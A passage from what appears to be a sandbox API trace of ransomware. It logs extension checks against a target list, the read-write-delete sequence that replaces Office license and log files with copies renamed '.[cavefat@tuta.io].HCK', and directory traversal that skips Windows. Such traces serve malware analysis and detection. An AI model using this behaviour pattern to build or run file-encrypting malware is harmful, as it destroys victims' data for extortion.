office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 1 [0245.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0245.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0245.034] lstrlenW (lpString=".doc") returned 4 [0245.034] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString=".docx") returned 5 [0245.034] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.034] lstrlenW (lpString=".pdf") returned 4 [0245.034] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString=".xls") returned 4 [0245.034] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString=".xlsx") returned 5 [0245.034] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.034] lstrlenW (lpString=".ppt") returned 4 [0245.034] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0245.034] lstrlenW (lpString=".zip") returned 4 [0245.034] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString=".rar") returned 4 [0245.034] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString=".bz2") returned 4 [0245.034] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString=".7z") returned 3 [0245.034] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0245.034] lstrlenW (lpString=".dbf") returned 4 [0245.034] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0245.034] lstrlenW (lpString=".1cd") returned 4 [0245.034] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0245.034] lstrlenW (lpString=".jpg") returned 4 [0245.034] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0245.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0245.034] lstrlenW (lpString=".doc") returned 4 [0245.034] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString=".docx") returned 5 [0245.034] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.034] lstrlenW (lpString=".pdf") returned 4 [0245.034] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString=".xls") returned 4 [0245.034] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString=".xlsx") returned 5 [0245.034] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.034] lstrlenW (lpString=".ppt") returned 4 [0245.034] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0245.034] lstrlenW (lpString=".zip") returned 4 [0245.034] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.034] lstrlenW (lpString=".rar") returned 4 [0245.034] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.035] lstrlenW (lpString=".bz2") returned 4 [0245.035] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.035] lstrlenW (lpString=".7z") returned 3 [0245.035] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0245.035] lstrlenW (lpString=".dbf") returned 4 [0245.035] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0245.035] lstrlenW (lpString=".1cd") returned 4 [0245.035] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0245.035] lstrlenW (lpString=".jpg") returned 4 [0245.035] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.035] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0245.035] lstrlenW (lpString="O365HomePremR_SubTest4-ppd.xrm-ms") returned 33 [0245.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428 [0245.094] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=23134) returned 1 [0245.094] CloseHandle (hObject=0x428) returned 1 [0245.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 0x220 [0245.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0246.162] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.162] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0246.747] GetLastError () returned 0x0 [0246.747] ReadFile (in: hFile=0x348, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0246.753] WriteFile (in: hFile=0x4bc, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0246.754] ReadFile (in: hFile=0x348, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0246.754] WriteFile (in: hFile=0x4bc, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x116, lpOverlapped=0x0) returned 1 [0246.754] SetEndOfFile (hFile=0x4bc) returned 1 [0246.754] CloseHandle (hObject=0x4bc) returned 1 [0246.754] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.754] SetEndOfFile (hFile=0x348) returned 1 [0246.757] CloseHandle (hObject=0x348) returned 1 [0246.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0246.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 1 [0246.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0246.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0246.760] lstrlenW (lpString=".doc") returned 4 [0246.760] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString=".docx") returned 5 [0246.760] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0246.760] lstrlenW (lpString=".pdf") returned 4 [0246.760] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString=".xls") returned 4 [0246.760] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString=".xlsx") returned 5 [0246.760] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0246.760] lstrlenW (lpString=".ppt") returned 4 [0246.760] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0246.760] lstrlenW (lpString=".zip") returned 4 [0246.760] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString=".rar") returned 4 [0246.760] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString=".bz2") returned 4 [0246.760] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString=".7z") returned 3 [0246.760] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0246.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0246.760] lstrlenW (lpString=".dbf") returned 4 [0246.760] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0246.760] lstrlenW (lpString=".1cd") returned 4 [0246.760] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0246.760] lstrlenW (lpString=".jpg") returned 4 [0246.760] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0246.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0246.760] lstrlenW (lpString=".doc") returned 4 [0246.760] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString=".docx") returned 5 [0246.760] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0246.760] lstrlenW (lpString=".pdf") returned 4 [0246.760] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString=".xls") returned 4 [0246.760] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString=".xlsx") returned 5 [0246.760] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0246.760] lstrlenW (lpString=".ppt") returned 4 [0246.760] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0246.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0246.760] lstrlenW (lpString=".zip") returned 4 [0246.761] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0246.761] lstrlenW (lpString=".rar") returned 4 [0246.761] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0246.761] lstrlenW (lpString=".bz2") returned 4 [0246.761] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0246.761] lstrlenW (lpString=".7z") returned 3 [0246.761] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0246.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0246.761] lstrlenW (lpString=".dbf") returned 4 [0246.761] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0246.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0246.761] lstrlenW (lpString=".1cd") returned 4 [0246.761] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0246.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0246.761] lstrlenW (lpString=".jpg") returned 4 [0246.761] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0246.761] lstrlenW (lpString=".id-") returned 4 [0246.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558af0 | out: hHeap=0x4f0000) returned 1 [0246.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580708 | out: hHeap=0x4f0000) returned 1 [0246.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38f1220 | out: hHeap=0x4f0000) returned 1 [0246.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3901228 | out: hHeap=0x4f0000) returned 1 [0246.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3bea020 | out: hHeap=0x4f0000) returned 1 [0246.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558a78 | out: hHeap=0x4f0000) returned 1 [0246.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9eb0 [0246.767] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9eb0, Size=0x20) returned 0x40eb4b8 [0246.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9d90 [0246.767] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9d90, Size=0x20) returned 0x40eb198 [0246.767] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0246.767] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0246.767] Wow64DisableWow64FsRedirection (in: OldValue=0x2f9ff50 | out: OldValue=0x2f9ff50*=0x1) returned 1 [0246.767] lstrlenW (lpString="kernel32.dll") returned 12 [0246.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb198 | out: hHeap=0x4f0000) returned 1 [0246.767] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0246.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb4b8 | out: hHeap=0x4f0000) returned 1 Thread: id = 322 os_tid = 0xd44 [0224.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3911b10 [0224.120] lstrlenW (lpString="C:") returned 2 [0224.120] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x5737e8 [0224.121] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0224.121] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0224.121] lstrlenW (lpString="$GetCurrent") returned 11 [0224.121] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0224.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3921b18 [0224.121] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0224.121] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x573728 [0224.126] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0224.126] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0224.126] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0224.126] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0224.126] lstrlenW (lpString="Logs") returned 4 [0224.126] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0224.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.126] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0224.126] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5736a8 [0224.138] FindNextFileW (in: hFindFile=0x5736a8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.138] FindNextFileW (in: hFindFile=0x5736a8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa29fdc3e, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa29fdc3e, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a23ca4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DOWNLE~1.HCK")) returned 1 [0224.138] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[cavefat@tuta.io].HCK") returned 71 [0224.138] lstrlenW (lpString=".1cd") returned 4 [0224.138] lstrcmpiW (lpString1=".1cd", lpString2=".HCK") returned -1 [0224.138] lstrlenW (lpString=".3ds") returned 4 [0224.138] lstrcmpiW (lpString1=".3ds", lpString2=".HCK") returned -1 [0224.138] lstrlenW (lpString=".3fr") returned 4 [0224.138] lstrcmpiW (lpString1=".3fr", lpString2=".HCK") returned -1 [0224.138] lstrlenW (lpString=".3g2") returned 4 [0224.138] lstrcmpiW (lpString1=".3g2", lpString2=".HCK") returned -1 [0224.138] lstrlenW (lpString=".3gp") returned 4 [0224.138] lstrcmpiW (lpString1=".3gp", lpString2=".HCK") returned -1 [0224.138] lstrlenW (lpString=".7z") returned 3 [0224.138] lstrcmpiW (lpString1=".7z", lpString2="HCK") returned -1 [0224.138] lstrlenW (lpString=".accda") returned 6 [0224.138] lstrcmpiW (lpString1=".accda", lpString2="o].HCK") returned -1 [0224.138] lstrlenW (lpString=".accdb") returned 6 [0224.138] lstrcmpiW (lpString1=".accdb", lpString2="o].HCK") returned -1 [0224.138] lstrlenW (lpString=".accdc") returned 6 [0224.138] lstrcmpiW (lpString1=".accdc", lpString2="o].HCK") returned -1 [0224.138] lstrlenW (lpString=".accde") returned 6 [0224.138] lstrcmpiW (lpString1=".accde", lpString2="o].HCK") returned -1 [0224.138] lstrlenW (lpString=".accdt") returned 6 [0224.138] lstrcmpiW (lpString1=".accdt", lpString2="o].HCK") returned -1 [0224.138] lstrlenW (lpString=".accdw") returned 6 [0224.138] lstrcmpiW (lpString1=".accdw", lpString2="o].HCK") returned -1 [0224.138] lstrlenW (lpString=".adb") returned 4 [0224.138] lstrcmpiW (lpString1=".adb", lpString2=".HCK") returned -1 [0224.138] lstrlenW (lpString=".adp") returned 4 [0224.138] lstrcmpiW (lpString1=".adp", lpString2=".HCK") returned -1 [0224.138] lstrlenW (lpString=".ai") returned 3 [0224.138] lstrcmpiW (lpString1=".ai", lpString2="HCK") returned -1 [0224.138] lstrlenW (lpString=".ai3") returned 4 [0224.138] lstrcmpiW (lpString1=".ai3", lpString2=".HCK") returned -1 [0224.138] lstrlenW (lpString=".ai4") returned 4 [0224.138] lstrcmpiW (lpString1=".ai4", lpString2=".HCK") returned -1 [0224.138] lstrlenW (lpString=".ai5") returned 4 [0224.138] lstrcmpiW (lpString1=".ai5", lpString2=".HCK") returned -1 [0224.138] lstrlenW (lpString=".ai6") returned 4 [0224.138] lstrcmpiW (lpString1=".ai6", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".ai7") returned 4 [0224.139] lstrcmpiW (lpString1=".ai7", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".ai8") returned 4 [0224.139] lstrcmpiW (lpString1=".ai8", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".anim") returned 5 [0224.139] lstrcmpiW (lpString1=".anim", lpString2="].HCK") returned -1 [0224.139] lstrlenW (lpString=".arw") returned 4 [0224.139] lstrcmpiW (lpString1=".arw", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".as") returned 3 [0224.139] lstrcmpiW (lpString1=".as", lpString2="HCK") returned -1 [0224.139] lstrlenW (lpString=".asa") returned 4 [0224.139] lstrcmpiW (lpString1=".asa", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".asc") returned 4 [0224.139] lstrcmpiW (lpString1=".asc", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".ascx") returned 5 [0224.139] lstrcmpiW (lpString1=".ascx", lpString2="].HCK") returned -1 [0224.139] lstrlenW (lpString=".asm") returned 4 [0224.139] lstrcmpiW (lpString1=".asm", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".asmx") returned 5 [0224.139] lstrcmpiW (lpString1=".asmx", lpString2="].HCK") returned -1 [0224.139] lstrlenW (lpString=".asp") returned 4 [0224.139] lstrcmpiW (lpString1=".asp", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".aspx") returned 5 [0224.139] lstrcmpiW (lpString1=".aspx", lpString2="].HCK") returned -1 [0224.139] lstrlenW (lpString=".asr") returned 4 [0224.139] lstrcmpiW (lpString1=".asr", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".asx") returned 4 [0224.139] lstrcmpiW (lpString1=".asx", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".avi") returned 4 [0224.139] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".avs") returned 4 [0224.139] lstrcmpiW (lpString1=".avs", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".backup") returned 7 [0224.139] lstrcmpiW (lpString1=".backup", lpString2="io].HCK") returned -1 [0224.139] lstrlenW (lpString=".bak") returned 4 [0224.139] lstrcmpiW (lpString1=".bak", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".bay") returned 4 [0224.139] lstrcmpiW (lpString1=".bay", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".bd") returned 3 [0224.139] lstrcmpiW (lpString1=".bd", lpString2="HCK") returned -1 [0224.139] lstrlenW (lpString=".bin") returned 4 [0224.139] lstrcmpiW (lpString1=".bin", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".bmp") returned 4 [0224.139] lstrcmpiW (lpString1=".bmp", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".bz2") returned 4 [0224.139] lstrcmpiW (lpString1=".bz2", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".c") returned 2 [0224.139] lstrcmpiW (lpString1=".c", lpString2="CK") returned -1 [0224.139] lstrlenW (lpString=".cdr") returned 4 [0224.139] lstrcmpiW (lpString1=".cdr", lpString2=".HCK") returned -1 [0224.139] lstrlenW (lpString=".cer") returned 4 [0224.139] lstrcmpiW (lpString1=".cer", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".cf") returned 3 [0224.140] lstrcmpiW (lpString1=".cf", lpString2="HCK") returned -1 [0224.140] lstrlenW (lpString=".cfc") returned 4 [0224.140] lstrcmpiW (lpString1=".cfc", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".cfm") returned 4 [0224.140] lstrcmpiW (lpString1=".cfm", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".cfml") returned 5 [0224.140] 